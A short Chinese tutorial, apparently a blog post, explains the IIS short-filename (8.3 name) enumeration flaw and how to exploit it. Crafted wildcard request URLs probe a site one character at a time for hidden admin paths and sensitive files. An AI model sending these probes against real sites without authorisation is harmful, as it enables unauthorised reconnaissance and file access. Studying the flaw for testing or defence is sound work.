一、漏洞的成因
1、為了兼容16位MS-DOS程序,Windows為文件名較長的文件(文件夾)生成了對應的windows8.3短文件名。
在Windows下查看對應的短文件名,可以使用命令dir/x。
2、短文件名有如下特征:
a、只有前六位字符直接顯示,后續字符用~1指代。其中數字1還可以遞增,如果存在多個文件名類似的文件,像前六位相同的話,而且后綴前3位必須相同。
b、后綴名最長只有3位,多余的被截斷。
3、我們可以啟用.net的iis下暴力列舉短文件名,原因是:
a、訪問構造的某個存在的短文件名,會返回404。
b、訪問構造的某個不存在的短文件名,會返回400。
二、漏洞的利用
1、需要使用到通配符*。*可以匹配n個字符,n可以為0.判斷某站點是否存在iis段文件名暴力破解,構造payload,分別訪問以下兩個url。
a、http://www.xxxx.com/*~1***/a.aspx
b、http://www.xxxx.com/dad*~1***/a.aspx/
2、如果404則文件存在,繼續猜解
a、http://www.xxxx.com/a*~1***/a.aspx404
b、http://www.xxxx.com/ad*~1***/a.aspx404
c、http://www.xxxx.com/adm*~1***/a.aspx
3、依次類推,一個一個枚舉就可以進行下去。
注意:如果admin開頭的是一個文件夾,則
http://www.xxxx.com/admin*~1/a.aspx會是404的。
4、繼續猜解
http://www.xxxx.com/admin*~1*g*/a.aspx
如果404,則擴展名肯定有g,按這個思路繼續。
三、實際用處
1、猜后台。
2、猜敏感文件。
3、一些情況,可以通過短文件名直接下載對應的文件。
四、局限性
1、只能猜6位,以及擴展名前3位。
2、名稱較短的文件是沒有相應的短文件名的。
3、需要iis和.net兩個條件都滿足。
參考來源:http://www.iis7.com/a/nr/20180828459.html